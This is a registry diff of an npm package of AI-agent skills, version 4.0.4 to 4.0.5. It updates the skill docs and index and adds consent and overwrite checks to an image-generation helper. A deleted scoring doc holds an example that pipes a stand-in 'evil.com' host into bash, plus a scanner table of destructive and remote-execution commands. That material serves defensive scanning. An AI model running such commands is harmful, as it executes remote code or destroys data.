opencode-skills-collection 4.0.4 → 4.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (57) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +4 -1
  2. package/bundled-skills/antigravity-maintainer-batch-release/SKILL.md +150 -0
  3. package/bundled-skills/create-pr/SKILL.md +4 -4
  4. package/bundled-skills/docs/README.md +1 -0
  5. package/bundled-skills/docs/contributors/quality-bar.md +1 -2
  6. package/bundled-skills/docs/integrations/jetski-cortex.md +5 -3
  7. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +3 -1
  8. package/bundled-skills/docs/maintainers/aas-agent-first-control-plane-preview-profile.md +141 -0
  9. package/bundled-skills/docs/maintainers/aas-agent-first-control-plane-v1-design.md +302 -0
  10. package/bundled-skills/docs/maintainers/aas-agent-first-control-plane-v1-goal.md +169 -0
  11. package/bundled-skills/docs/maintainers/aas-agent-first-control-plane-v1-worklog.md +102 -0
  12. package/bundled-skills/docs/maintainers/audit.md +3 -8
  13. package/bundled-skills/docs/maintainers/legacy-redirect-bridge.md +46 -0
  14. package/bundled-skills/docs/maintainers/merge-batch.md +3 -7
  15. package/bundled-skills/docs/maintainers/merging-prs.md +1 -1
  16. package/bundled-skills/docs/maintainers/pr-autonomy.md +2 -3
  17. package/bundled-skills/docs/maintainers/release-process.md +12 -5
  18. package/bundled-skills/docs/maintainers/repo-growth-seo.md +16 -14
  19. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  20. package/bundled-skills/docs/users/aas-core.md +147 -0
  21. package/bundled-skills/docs/users/agentic-awesome-skills-vs-awesome-claude-skills.md +10 -9
  22. package/bundled-skills/docs/users/ai-agent-skills.md +22 -19
  23. package/bundled-skills/docs/users/best-claude-code-skills-github.md +8 -8
  24. package/bundled-skills/docs/users/best-cursor-skills-github.md +5 -5
  25. package/bundled-skills/docs/users/bundles.md +3 -1
  26. package/bundled-skills/docs/users/claude-code-skills.md +23 -7
  27. package/bundled-skills/docs/users/codex-cli-skills.md +30 -13
  28. package/bundled-skills/docs/users/discovery-manifest.md +6 -3
  29. package/bundled-skills/docs/users/faq.md +37 -10
  30. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  31. package/bundled-skills/docs/users/getting-started.md +24 -10
  32. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  33. package/bundled-skills/docs/users/plugins.md +15 -3
  34. package/bundled-skills/docs/users/skills-vs-mcp-tools.md +68 -49
  35. package/bundled-skills/docs/users/usage.md +38 -25
  36. package/bundled-skills/docs/users/visual-guide.md +28 -22
  37. package/bundled-skills/docs/vietnamese/AAS_CORE.vi.md +28 -0
  38. package/bundled-skills/docs/vietnamese/README.vi.md +10 -6
  39. package/bundled-skills/game-development/2d-games/SKILL.md +22 -19
  40. package/bundled-skills/game-development/SKILL.md +27 -35
  41. package/bundled-skills/game-development/engine-selection/SKILL.md +115 -0
  42. package/bundled-skills/game-development/web-games/SKILL.md +47 -45
  43. package/bundled-skills/git-advanced-workflows/SKILL.md +1 -11
  44. package/bundled-skills/git-pushing/SKILL.md +4 -4
  45. package/bundled-skills/modellix/SKILL.md +80 -0
  46. package/bundled-skills/pptx-deck-creation/SKILL.md +15 -7
  47. package/bundled-skills/pptx-deck-creation/references/audit-checklist.md +7 -3
  48. package/bundled-skills/pptx-deck-creation/references/ooxml-parsing.md +58 -0
  49. package/bundled-skills/pptx-deck-creation/references/{python-snippets.md → reference-deck-analysis-patterns.md} +1 -1
  50. package/bundled-skills/pptx-deck-creation/references/reference-deck-analysis.md +30 -8
  51. package/bundled-skills/pptx-deck-creation/references/visual-asset-adapters.md +23 -13
  52. package/bundled-skills/pr-writer/SKILL.md +2 -2
  53. package/bundled-skills/repo-maintainer/SKILL.md +4 -2
  54. package/bundled-skills/tools-page-seo-optimizer/SKILL.md +6 -6
  55. package/package.json +1 -1
  56. package/skills_index.json +86 -7
  57. package/bundled-skills/docs/contributors/skill-scoring.md +0 -235
@@ -19,9 +19,9 @@ Shared rules:
19
19
  - On failure, write a failure manifest; never substitute a placeholder and call it generated.
20
20
  - Never request secrets in chat or a prompt dialog. For cloud auth use `.env` or `az login`.
21
21
  - Before a billable generation call or any request that sends user-provided or
22
- source material to a third party, disclose the provider/model, the material
23
- that will leave the machine, likely cost, and output path. Obtain explicit
24
- confirmation unless the user already authorized that exact operation.
22
+ source material to a third party, disclose the provider/model, the material
23
+ that will leave the machine, likely cost, and output path. Obtain explicit
24
+ confirmation unless the user already authorized that exact operation.
25
25
 
26
26
  ---
27
27
 
@@ -62,7 +62,7 @@ def icon_search(query, limit=8, prefix=None, color=None, out_dir="assets/icons")
62
62
 
63
63
  ## 2. Web Image Search
64
64
 
65
- Prefer the browsing or image-search capability available in the current client.
65
+ Prefer the VS Code fetch tools (`fetch_webpage`) or an MCP image-search tool you have available.
66
66
  When you already have a direct image URL (from search results or the user), download it locally:
67
67
 
68
68
  ```python
@@ -102,8 +102,9 @@ Generate through a user-managed provider (OpenAI or Azure OpenAI). Read credenti
102
102
  never accept secrets via chat.
103
103
 
104
104
  Before running the snippet, obtain the external-call confirmation described in
105
- the shared rules. If `output_path` already exists, choose a new path or obtain
106
- separate overwrite confirmation; do not silently replace it.
105
+ the shared rules. If `output_path` or its manifest already exists, choose a new
106
+ path or obtain separate explicit overwrite confirmation; do not silently
107
+ replace either file.
107
108
 
108
109
  ```python
109
110
  import base64, json, os
@@ -111,15 +112,20 @@ from pathlib import Path
111
112
  from openai import OpenAI, AzureOpenAI # provided by the user's environment
112
113
 
113
114
  def text_to_infographic(prompt, output_path, provider="openai",
114
- model_or_deployment="gpt-image-1", size="1024x1024"):
115
+ model_or_deployment="gpt-image-1", size="1024x1024",
116
+ confirmed=False, allow_overwrite=False):
115
117
  output = Path(output_path)
116
118
  manifest_path = output.with_suffix(".manifest.json")
117
119
  existing = [path for path in (output, manifest_path) if path.exists()]
118
- if existing:
120
+ if existing and not allow_overwrite:
119
121
  raise FileExistsError(f"Refusing to overwrite existing paths: {existing}")
120
122
  manifest_path.parent.mkdir(parents=True, exist_ok=True)
121
123
  manifest = {"provider": provider, "model_or_deployment": model_or_deployment,
122
124
  "output_path": output_path}
125
+ if not confirmed:
126
+ manifest.update(status="cancelled", error="External generation was not confirmed")
127
+ manifest_path.write_text(json.dumps(manifest, indent=2), encoding="utf-8")
128
+ return manifest
123
129
  try:
124
130
  if provider == "azure-openai":
125
131
  client = AzureOpenAI(
@@ -130,17 +136,20 @@ def text_to_infographic(prompt, output_path, provider="openai",
130
136
  else:
131
137
  client = OpenAI(api_key=os.environ["OPENAI_API_KEY"])
132
138
  result = client.images.generate(model=model_or_deployment, prompt=prompt, size=size)
133
- output.parent.mkdir(parents=True, exist_ok=True)
134
139
  output.write_bytes(base64.b64decode(result.data[0].b64_json))
135
140
  manifest["status"] = "ok"
136
141
  except Exception as exc: # report, never fake-generate
137
142
  manifest.update(status="error", error=str(exc))
138
- manifest_path.write_text(json.dumps(manifest, indent=2))
143
+ manifest_path.write_text(json.dumps(manifest, indent=2), encoding="utf-8")
139
144
  return manifest
140
145
  ```
141
146
 
142
- - Ask the user for any missing non-secret values: provider, prompt,
143
- model/deployment, size, and output path.
147
+ - Collect missing values via `vscode_askQuestions`: provider, prompt, model/deployment, size, output path.
148
+ - Before calling the function, disclose the provider/model, material leaving
149
+ the machine, likely cost, and output path. Set `confirmed=True` only after
150
+ the user explicitly authorizes that exact external request. Set
151
+ `allow_overwrite=True` only after separate explicit approval to replace every
152
+ existing output or manifest path.
144
153
  - Use `.env` or `az login` for auth; never ask for keys/tokens in chat or the dialog.
145
154
  - Use generated art as a supporting visual. Recreate essential text, labels,
146
155
  metrics, and steps with native PowerPoint objects. Add a vector asset only
@@ -155,4 +164,5 @@ NotebookLM has no public generation API, so treat this as an optional, user-conf
155
164
  - If the user has a NotebookLM/MCP bridge tool configured, call it with `source_refs` + `prompt`,
156
165
  then save the returned image locally and record provenance.
157
166
  - If no bridge is configured, **fall back to Text → Infographic (section 4)** or omit the asset.
158
- - Apply the same provenance and failure-manifest rules as the other generation guidelines.
167
+ - Apply the same confirmation, overwrite, provenance, and failure-manifest
168
+ rules as the other generation guidelines.
@@ -18,14 +18,14 @@ Create pull requests following Sentry's engineering practices.
18
18
 
19
19
  ## Prerequisites
20
20
 
21
- Before creating a PR, ensure all changes are committed. If there are uncommitted changes, run the `sentry-skills:commit` skill first to commit them properly.
21
+ Before creating a PR, ensure all changes are committed. If there are uncommitted changes, run the available `commit` skill first to commit them properly.
22
22
 
23
23
  ```bash
24
24
  # Check for uncommitted changes
25
25
  git status --porcelain
26
26
  ```
27
27
 
28
- If the output shows any uncommitted changes (modified, added, or untracked files that should be included), invoke the `sentry-skills:commit` skill before proceeding.
28
+ If the output shows any uncommitted changes (modified, added, or untracked files that should be included), invoke the available `commit` skill before proceeding. If the client requires qualified skill names, use the qualifier for the plugin that supplied this skill.
29
29
 
30
30
  ## Process
31
31
 
@@ -31,6 +31,8 @@ Before mutation:
31
31
 
32
32
  If the repository names a mandatory maintainer skill or guarded command, delegate to it instead of inventing a parallel branch, merge, sync, or release path. In `agentic-awesome-skills`, use `antigravity-maintainer-batch-release` and `npm run merge:batch`; `main` is pull-request-only.
33
33
 
34
+ The routine protected checks for `agentic-awesome-skills` are `pr-policy`, `pr-evidence`, `source-validation`, and `artifact-preview`. The supported AAS Core preview uses targeted unit tests plus one packed Linux/Node LTS smoke path and Workbench review. Do not resurrect the retired certified-v1 baseline, benchmark, tuning-gold, transaction-fault, race, or frozen OS/runtime matrix as routine merge gates.
35
+
34
36
  ## Usage
35
37
 
36
38
  ### 1. Establish the baseline
@@ -70,7 +72,7 @@ Treat audit-tool output as evidence to verify, not automatic permission to upgra
70
72
  #### CI and release health
71
73
 
72
74
  - failing, cancelled, skipped, or stale workflow runs;
73
- - inconsistent runtime matrices and unpinned or obsolete actions;
75
+ - stale, redundant, or unjustifiably broad runtime matrices and unpinned or obsolete actions;
74
76
  - required checks, branch protection, release permissions, and secret boundaries;
75
77
  - mismatch between documented and implemented release commands.
76
78
 
@@ -82,7 +84,7 @@ Treat audit-tool output as evidence to verify, not automatic permission to upgra
82
84
 
83
85
  #### Code-quality signals
84
86
 
85
- - dead code, stale TODO/FIXME items, debug logging, commented-out code, and missing tests;
87
+ - dead code, stale implementation markers, debug logging, commented-out code, and missing tests;
86
88
  - unsafe defaults, suppressed errors, credential exposure, and environment-specific paths.
87
89
 
88
90
  For FAF projects only, also inspect declared `.faf`, `.faf-dna`, sync, score, and MCP contracts with the project's installed FAF commands.
@@ -593,12 +593,12 @@ seo:full() { seo:quick; }
593
593
 
594
594
  ## Related Skills
595
595
 
596
- - [schema-markup-generator](/skills/schema-markup-generator/SKILL.md) — JSON-LD structured data (HowTo, FAQPage, WebApplication) for tool pages
597
- - [social-metadata-hardening](/skills/social-metadata-hardening/SKILL.md) — OG tags and social sharing previews for tool pages
598
- - [indexing-issue-auditor](/skills/indexing-issue-auditor/SKILL.md) — full crawl audit and redirect mapping after slug changes
599
- - [pagespeed-enhancer](/skills/pagespeed-enhancer/SKILL.md) — Lighthouse / Core Web Vitals audit for tool pages
600
- - [wordpress-centric-high-seo-optimized-blogwriting-skill](/skills/wordpress-centric-high-seo-optimized-blogwriting-skill/SKILL.md) — blog post writing with SEO structure
601
- - [vibecode-production-qa-validator](/skills/vibecode-production-qa-validator/SKILL.md) — end-to-end production QA including deployment verification
596
+ - [schema-markup-generator](../schema-markup-generator/SKILL.md) — JSON-LD structured data (HowTo, FAQPage, WebApplication) for tool pages
597
+ - [social-metadata-hardening](../social-metadata-hardening/SKILL.md) — OG tags and social sharing previews for tool pages
598
+ - [indexing-issue-auditor](../indexing-issue-auditor/SKILL.md) — full crawl audit and redirect mapping after slug changes
599
+ - [pagespeed-enhancer](../pagespeed-enhancer/SKILL.md) — Lighthouse / Core Web Vitals audit for tool pages
600
+ - [wordpress-centric-high-seo-optimized-blogwriting-skill](../wordpress-centric-high-seo-optimized-blogwriting-skill/SKILL.md) — blog post writing with SEO structure
601
+ - [vibecode-production-qa-validator](../vibecode-production-qa-validator/SKILL.md) — end-to-end production QA including deployment verification
602
602
 
603
603
  ---
604
604
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "opencode-skills-collection",
3
- "version": "4.0.4",
3
+ "version": "4.0.5",
4
4
  "description": "OpenCode CLI plugin that automatically downloads and keeps skills up to date.",
5
5
  "main": "dist/index.js",
6
6
  "types": "dist/index.d.ts",
package/skills_index.json CHANGED
@@ -100,7 +100,7 @@
100
100
  "path": "skills/game-development/2d-games",
101
101
  "category": "game-development",
102
102
  "name": "2d-games",
103
- "description": "2D game development principles. Sprites, tilemaps, physics, camera.",
103
+ "description": "2D game development principles. Sprites, atlases, tilemaps, physics, cameras, and genre patterns (platformer, top-down). Use for canvas/Phaser/Kaplay/Pixi 2D games or guest viewports inside hybrid web apps.",
104
104
  "risk": "none",
105
105
  "source": "community",
106
106
  "date_added": "2026-02-27",
@@ -2371,6 +2371,28 @@
2371
2371
  "reasons": []
2372
2372
  }
2373
2373
  },
2374
+ {
2375
+ "id": "antigravity-maintainer-batch-release",
2376
+ "path": "skills/antigravity-maintainer-batch-release",
2377
+ "category": "uncategorized",
2378
+ "name": "antigravity-maintainer-batch-release",
2379
+ "description": "Run protected AAS maintainer sweeps, PR merge batches, canonical sync, Core preview checks, and scripted releases. Use for repository maintenance, main alignment, CLI/MCP/Workbench changes, or release work; not ordinary contribution tasks.",
2380
+ "risk": "critical",
2381
+ "source": "self",
2382
+ "date_added": "2026-07-18",
2383
+ "plugin": {
2384
+ "targets": {
2385
+ "codex": "supported",
2386
+ "claude": "supported"
2387
+ },
2388
+ "setup": {
2389
+ "type": "none",
2390
+ "summary": "",
2391
+ "docs": null
2392
+ },
2393
+ "reasons": []
2394
+ }
2395
+ },
2374
2396
  {
2375
2397
  "id": "antigravity-skill-orchestrator",
2376
2398
  "path": "skills/antigravity-skill-orchestrator",
@@ -12530,7 +12552,7 @@
12530
12552
  "path": "skills/create-pr",
12531
12553
  "category": "workflow",
12532
12554
  "name": "create-pr",
12533
- "description": "Alias for sentry-skills:pr-writer. Use when users explicitly ask for \"create-pr\" or reference the legacy skill name. Redirects to the canonical PR writing workflow.",
12555
+ "description": "Alias for pr-writer. Use when users explicitly ask for \"create-pr\" or reference the legacy skill name. Redirects to the canonical PR writing workflow.",
12534
12556
  "risk": "unknown",
12535
12557
  "source": "community",
12536
12558
  "date_added": null,
@@ -16843,6 +16865,28 @@
16843
16865
  "reasons": []
16844
16866
  }
16845
16867
  },
16868
+ {
16869
+ "id": "engine-selection",
16870
+ "path": "skills/game-development/engine-selection",
16871
+ "category": "game-development",
16872
+ "name": "engine-selection",
16873
+ "description": "Selects game engines and frameworks by platform, genre, and architecture (full canvas shell vs hybrid DOM shell + guest viewport). Covers Phaser, PixiJS, Kaplay, Canvas/WebGL, Three.js, Babylon.js, Godot, Unity, Ink, Twine. Use when choosing a stack or comparing runtimes before implementation.",
16874
+ "risk": "safe",
16875
+ "source": "self",
16876
+ "date_added": "2026-07-17",
16877
+ "plugin": {
16878
+ "targets": {
16879
+ "codex": "supported",
16880
+ "claude": "supported"
16881
+ },
16882
+ "setup": {
16883
+ "type": "none",
16884
+ "summary": "",
16885
+ "docs": null
16886
+ },
16887
+ "reasons": []
16888
+ }
16889
+ },
16846
16890
  {
16847
16891
  "id": "enhance-prompt",
16848
16892
  "path": "skills/enhance-prompt",
@@ -19903,7 +19947,7 @@
19903
19947
  "path": "skills/game-development",
19904
19948
  "category": "game-development",
19905
19949
  "name": "game-development",
19906
- "description": "Game development orchestrator. Routes to platform-specific skills based on project needs.",
19950
+ "description": "Game development orchestrator. Routes by platform, dimension, and engine fit (web 2D/3D, hybrid DOM+canvas, narrative tools). Use when starting or structuring a game project, choosing frameworks, or picking among Phaser, PixiJS, Kaplay, Canvas/WebGL, Three.js, Babylon.js, Godot, Unity, or Ink/Twine.",
19907
19951
  "risk": "unknown",
19908
19952
  "source": "community",
19909
19953
  "date_added": "2026-02-27",
@@ -28479,6 +28523,39 @@
28479
28523
  "claude-code"
28480
28524
  ]
28481
28525
  },
28526
+ {
28527
+ "id": "modellix",
28528
+ "path": "skills/modellix",
28529
+ "category": "creative",
28530
+ "name": "modellix",
28531
+ "description": "Integrate Modellix unified API/CLI for async AI image and video generation (model run --wait, task download).",
28532
+ "risk": "critical",
28533
+ "source": "community",
28534
+ "date_added": "2026-07-16",
28535
+ "plugin": {
28536
+ "targets": {
28537
+ "codex": "supported",
28538
+ "claude": "supported"
28539
+ },
28540
+ "setup": {
28541
+ "type": "none",
28542
+ "summary": "",
28543
+ "docs": null
28544
+ },
28545
+ "reasons": []
28546
+ },
28547
+ "source_type": "official",
28548
+ "source_repo": "Modellix/modellix-skill",
28549
+ "license": "MIT",
28550
+ "license_source": "https://github.com/Modellix/modellix-skill/blob/main/LICENSE",
28551
+ "tags": [
28552
+ "image-generation",
28553
+ "video-generation",
28554
+ "modellix",
28555
+ "cli",
28556
+ "api"
28557
+ ]
28558
+ },
28482
28559
  {
28483
28560
  "id": "modern-javascript-patterns",
28484
28561
  "path": "skills/modern-javascript-patterns",
@@ -42897,15 +42974,17 @@
42897
42974
  "date_added": "2026-06-19",
42898
42975
  "plugin": {
42899
42976
  "targets": {
42900
- "codex": "supported",
42901
- "claude": "supported"
42977
+ "codex": "blocked",
42978
+ "claude": "blocked"
42902
42979
  },
42903
42980
  "setup": {
42904
42981
  "type": "none",
42905
42982
  "summary": "",
42906
42983
  "docs": null
42907
42984
  },
42908
- "reasons": []
42985
+ "reasons": [
42986
+ "escaped_local_reference"
42987
+ ]
42909
42988
  },
42910
42989
  "source_type": "community",
42911
42990
  "tags": [
@@ -45696,7 +45775,7 @@
45696
45775
  "path": "skills/game-development/web-games",
45697
45776
  "category": "game-development",
45698
45777
  "name": "web-games",
45699
- "description": "Web browser game development principles. Framework selection, WebGPU, optimization, PWA.",
45778
+ "description": "Web browser game development. Framework selection (Phaser, PixiJS, Kaplay, Canvas/WebGL, Three.js, Babylon.js), hybrid DOM+canvas, WebGPU, optimization, PWA, audio unlock. Use when building HTML5/WebGL/WebGPU games or choosing a browser runtime.",
45700
45779
  "risk": "unknown",
45701
45780
  "source": "community",
45702
45781
  "date_added": "2026-02-27",
@@ -1,235 +0,0 @@
1
- # Skill Quality Scoring
2
-
3
- This document describes the optional skill quality scoring system introduced in the
4
- AI Skill Registry Validation Framework.
5
-
6
- Scores are **informational only** — they never block skill usage, CI pipelines,
7
- or PR merges. They exist to help contributors understand the quality of their
8
- skills and to help maintainers prioritize improvements.
9
-
10
- ---
11
-
12
- ## Overview
13
-
14
- Each skill receives a **total score** between 0 and 100, computed as a weighted
15
- average of three dimensions:
16
-
17
- | Dimension | Weight | What it measures |
18
- |-----------------|--------|------------------|
19
- | Metadata | 30% | Frontmatter completeness and correctness |
20
- | Documentation | 40% | Section coverage, code examples, content depth |
21
- | Security | 30% | Absence of dangerous command patterns |
22
-
23
- ---
24
-
25
- ## Quality Labels
26
-
27
- | Label | Score Range | Meaning |
28
- |-------------------|-------------|---------|
29
- | `excellent` | 85–100 | Well-documented, complete metadata, no security flags |
30
- | `good` | 65–84 | Solid skill with minor gaps |
31
- | `needs_improvement` | 45–64 | Missing sections or metadata fields |
32
- | `critical` | 0–44 | Significant gaps — review recommended before sharing |
33
-
34
- ---
35
-
36
- ## Metadata Score (30%)
37
-
38
- The metadata dimension evaluates frontmatter field completeness.
39
-
40
- **Penalties:**
41
-
42
- | Issue | Deduction |
43
- |---|---|
44
- | `name` missing or mismatched with folder | −25 pts |
45
- | `description` missing | −20 pts |
46
- | `description` shorter than 20 characters | −10 pts |
47
- | `risk` missing | −15 pts |
48
- | `risk: unknown` (unclassified) | −10 pts |
49
- | `source` missing | −15 pts |
50
- | `date_added` missing | −10 pts |
51
-
52
- **Bonuses (optional fields):**
53
-
54
- Each optional field filled (`category`, `tags`, `author`, `tools`, `license`) adds
55
- **+5 pts**, capped at 100.
56
-
57
- ---
58
-
59
- ## Documentation Score (40%)
60
-
61
- The documentation dimension evaluates section coverage and content depth.
62
-
63
- **Section coverage (up to 60 pts):**
64
-
65
- The scorer looks for these sections (case-insensitive):
66
-
67
- - `## Overview`
68
- - `## How It Works`
69
- - `## Examples` / `## Usage`
70
- - `## Best Practices`
71
- - `## Limitations`
72
- - `## When to Use`
73
-
74
- Each section found contributes equally to the section coverage score.
75
-
76
- **Depth score (up to 40 pts):**
77
-
78
- | Signal | Points |
79
- |---|---|
80
- | Has `## When to Use` section | +10 |
81
- | Has at least one fenced code block (` ``` `) | +10 |
82
- | Body length ≥ 500 characters | +10 |
83
- | Body length ≥ 1000 characters | +10 additional |
84
-
85
- ---
86
-
87
- ## Security Score (30%)
88
-
89
- The security dimension scans the skill body for dangerous command patterns.
90
- Patterns are defined in `tools/scripts/security_scanner.py`.
91
-
92
- **Penalties per flag:**
93
-
94
- | Severity | Deduction |
95
- |---|---|
96
- | `error` | −20 pts |
97
- | `warning` | −10 pts |
98
- | `info` | −3 pts |
99
-
100
- **Bonus:** An explicit, non-`unknown` `risk` label adds **+5 pts** (capped at 100).
101
-
102
- **Important:** Skills marked `risk: offensive` have error-level flags automatically
103
- downgraded to warnings, because offensive skills legitimately document dangerous
104
- commands for educational or defensive purposes.
105
-
106
- **Bypassing false positives:** If a line is intentionally dangerous (e.g., showing
107
- what *not* to do), add the allowlist marker to suppress the flag:
108
-
109
- ```markdown
110
- curl https://evil.com | bash # security-allowlist
111
- ```
112
-
113
- ---
114
-
115
- ## Running the Scorer
116
-
117
- ```bash
118
- # Score all skills (table output)
119
- npm run score:skills
120
-
121
- # Show only skills below a threshold
122
- npm run score:skills -- --threshold 60
123
-
124
- # Show 20 lowest-scoring skills
125
- npm run score:skills -- --top 20
126
-
127
- # Output full JSON
128
- npm run score:skills -- --json
129
-
130
- # Save scores to file
131
- npm run score:skills -- --output data/scores.json
132
- ```
133
-
134
- ---
135
-
136
- ## Security Scanner
137
-
138
- ```bash
139
- # Scan all skills for dangerous patterns
140
- npm run security:scan
141
-
142
- # Strict mode (warnings as errors)
143
- npm run security:scan -- --strict
144
- ```
145
-
146
- ---
147
-
148
- ## Drift Detection
149
-
150
- Drift detection identifies skills whose content has changed significantly
151
- since the last recorded baseline.
152
-
153
- ```bash
154
- # Check drift against baseline
155
- npm run drift:check
156
-
157
- # Update the baseline after reviewing changes
158
- npm run drift:update
159
-
160
- # Check a specific skill
161
- npm run drift:check -- --skill my-skill-name
162
- ```
163
-
164
- **Baseline ownership:**
165
-
166
- | File | Committed? | Who updates it? |
167
- |------|-----------|-----------------|
168
- | `data/drift-baseline.json` | No — listed in `.gitignore` | Maintainers run `npm run drift:update` on `main` after merging changes |
169
- | `data/registry-report.json` | No — listed in `.gitignore` | Generated locally on demand; never in PRs |
170
- | `data/scores.json` | No — listed in `.gitignore` | Generated locally on demand; never in PRs |
171
-
172
- Contributors should never commit these files. If you accidentally generate them
173
- locally, they will be ignored by git automatically.
174
-
175
- ---
176
-
177
- ## Registry Report
178
-
179
- ```bash
180
- # Generate a full registry health report → data/registry-report.json
181
- npm run registry:report
182
-
183
- # Skip drift detection (faster)
184
- npm run registry:report -- --no-drift
185
- ```
186
-
187
- The report includes:
188
- - Aggregate scoring summary
189
- - Per-skill scores and flags
190
- - Drift summary (added / removed / modified skills)
191
- - Risk breakdown
192
- - Security flag counts
193
-
194
- ---
195
-
196
- ## Security Patterns Reference
197
-
198
- | Code | Pattern | Severity | Description |
199
- |--------|---------|----------|-------------|
200
- | SEC001 | `rm -rf /` | error | Destructive root filesystem deletion |
201
- | SEC002 | `curl \| bash` | error | Remote code execution |
202
- | SEC003 | `wget \| sh` | error | Remote code execution |
203
- | SEC004 | `Invoke-Expression` | error | PowerShell RCE |
204
- | SEC005 | `iex` | warning | PowerShell alias (context-dependent) |
205
- | SEC006 | `chmod 7xx` | warning | World-writable permissions |
206
- | SEC007 | `eval(` | warning | Dynamic evaluation |
207
- | SEC008 | `base64 -d \|` | warning | Possible payload obfuscation |
208
- | SEC009 | Hardcoded credential | error | Secrets in source |
209
- | SEC010 | `sudo rm -rf` | warning | Privileged destructive deletion |
210
- | SEC011 | Fork bomb | error | Infinite process spawner |
211
- | SEC012 | `dd if=/dev/* of=/dev/sd*` | error | Raw disk overwrite |
212
-
213
- ---
214
-
215
- ## Frequently Asked Questions
216
-
217
- **Q: Will a low score prevent my skill from being merged?**
218
-
219
- No. Scores are informational. The existing `validate_skills.py` checks are what
220
- gate merges.
221
-
222
- **Q: My skill teaches how to avoid `curl | bash` — why is it flagged?**
223
-
224
- Add `# security-allowlist` at the end of the line showing the dangerous pattern.
225
- This follows the existing project convention for educational examples.
226
-
227
- **Q: Why is documentation weighted higher than metadata?**
228
-
229
- Documentation quality has the highest impact on how useful a skill is to end users.
230
- Complete metadata is valuable but less critical than clear instructions.
231
-
232
- **Q: How does `risk: offensive` affect scoring?**
233
-
234
- Security error flags are downgraded to warnings for offensive skills, because they
235
- legitimately document dangerous techniques for authorized security work.